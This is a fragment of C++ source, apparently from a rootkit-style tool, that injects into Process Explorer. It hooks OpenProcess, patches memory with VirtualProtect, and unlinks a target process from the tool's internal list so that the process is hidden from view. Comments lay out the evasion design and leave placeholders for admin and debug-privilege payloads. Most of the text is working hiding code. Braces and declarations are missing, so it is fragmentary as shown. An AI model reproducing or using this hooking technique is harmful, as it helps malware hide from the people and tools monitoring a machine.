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#include "stdafx.h"
#include "Procexp.h"
Procexp::Procexp(std::wstring targetProcess)
// myProcess = this->targetProcAddr;
void Procexp::DoActions()
if (processRights->admin)
//Admin related payloads here
else if (processRights->debug)
//SE_DEBUG related payloads here
RegisterHook(Procexp::HideProcessHook, L"kernel32.dll", "OpenProcess");
void Procexp::Patch(void* hook, void* jmpAddr)
#ifdef _WIN64
//Make Memory Protection R_X_W
VirtualProtect((void*)jmpAddr, sizeof(MOVABS) + sizeof(DWORD64) + sizeof(CALL_EAX), PAGE_EXECUTE_READWRITE, &oldP);
ZeroMemory((void*)jmpAddr, sizeof(MOVABS) + sizeof(DWORD64) + sizeof(CALL_EAX) - 4);
//Build eax with address of hook
*((WORD*)jmpAddr) = MOVABS;
*(DWORD64*)((BYTE*)jmpAddr + sizeof(MOVABS) - 2) = (int64_t)hook;
//Add 4th parameter to hook
*(DWORD*)((BYTE*)jmpAddr + (sizeof(MOVABS) + sizeof(DWORD64) - 2)) = MOV_R9_R14;
//call rax
*(WORD*)((BYTE*)jmpAddr + (sizeof(MOVABS) + sizeof(DWORD64) + sizeof(MOV_R9_R14)-3)) = CALL_EAX;
//Restore Protection
VirtualProtect((void*)jmpAddr, sizeof(MOVABS) + sizeof(DWORD64) + sizeof(CALL_EAX), oldP, &oldP);
//x86 relative jmp
//Once dll is injected, there are several ways to hide our process from Procexp. This method is ideal for working across multiple
//versions of Procexp, since rather than patching offsets and specific functions that could change, we are patching
//OpenProcess API, which is repetetively called by procexp and leaves a pointer (r14 in x64) pointing to its linked list of processes
//that is a structure less likely to be changed in a problematic way. Because of this, we must do as much validation to the r14 pointer
//as possible to avoid dereferencing bad memory from other cases OpenProcess is called.
HANDLE Procexp::HideProcessHook(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId, process_explorer_proc_obj* procObj)
DWORD procId = dwProcessId;
if (VirtualQuery(_ReturnAddress(), &mbi, sizeof(mbi)))
//Only hook if call originated from procexp memory space - catching all calls gets messy (see above function comment)
if (GetModuleHandle(Procexp::fileName.c_str()) == (HMODULE)mbi.AllocationBase)
HANDLE procHandle = NULL;
//validated our target r14 object (linked list of procs)
if (procObj != NULL &&
(procObj->proc_id % 4 == 0 && (int)procObj->proc_id < 0xffff) && //PID field is divisible by 4 and proc ID is under reasonible threshold
(procObj->flink_offset < 0xffff && procObj->flink_offset > 0xff) && //flink_offset should probably not be over 0xffff - filter this
(DWORD64)procObj->proc_name > 0xffffffff) //on x64, proc_name is often in higher memory regions than this threshold
process_explorer_proc_obj* next = (process_explorer_proc_obj*)((DWORD64)procObj + procObj->flink_offset);
std::wstring targetProcName = (wchar_t*)(next->proc_name);
if (targetProcName == L"System")
//Skip link that has our target process to hide
procObj->flink_offset += (DWORD)next->flink_offset;
//return next process ID - not ours
procId = procObj->proc_id;
return ((OpenProcessFunc)Procexp::targetProcAddr)(dwDesiredAccess, bInheritHandle, procId);